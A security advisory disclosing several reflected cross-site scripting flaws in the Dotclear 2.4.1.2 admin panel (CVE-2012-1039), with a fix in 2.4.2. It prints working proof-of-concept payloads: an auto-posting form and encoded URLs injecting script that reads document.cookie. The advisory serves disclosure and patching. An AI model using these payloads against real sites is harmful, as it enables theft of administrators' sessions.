Multiple XSS in Dotclear



Advisory ID: HTB23074
Product: Dotclear
Vendor: Dotclear
Vulnerable Version(s): 2.4.1.2 and probably prior
Tested Version: 2.4.1.2
Vendor Notification: 8 February 2012
Vendor Patch: 9 February 2012
Public Disclosure: 29 February 2012
Vulnerability Type: Cross Site Scripting (XSS)
CVE Reference(s): CVE-2012-1039
Solution Status: Fixed by Vendor
Risk Level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Dotclear, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in Dotclear: CVE-2012-1039

1.1 Input passed via the "login_data" POST parameter to /admin/auth.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/admin/auth.php"; method="post">
<input type="hidden" name="new_pwd" value="1" />
<input type="hidden" name="new_pwd_c" value="2" />
<input type="hidden" name="login_data" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>


1.2 Input passed via the "nb" GET parameter to /admin/blogs.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/admin/blogs.php?nb=5%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.3 Input passed via the "type", "sortby", "order", "status" GET parameters to /admin/comments.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/admin/comments.php?type=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/comments.php?sortby=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/comments.php?order=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/comments.php?status=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.4 Input passed via the "page" GET parameter to /admin/plugin.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/admin/plugin.php?p=tags&m=tag_posts&tag=[TAG]&page=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to Dotclear 2.4.2 or later.

More information:
http://dotclear.org/blog/post/2012/02/11/Dotclear-2.4.2

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23074 - https://www.htbridge.ch/advisory/HTB23074 - Multiple XSS in Dotclear.
[2] Dotclear - http://dotclear.org - Dotclear is an open-source web publishing software created in 2002 by Olivier Meunier.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.



Relevant Pages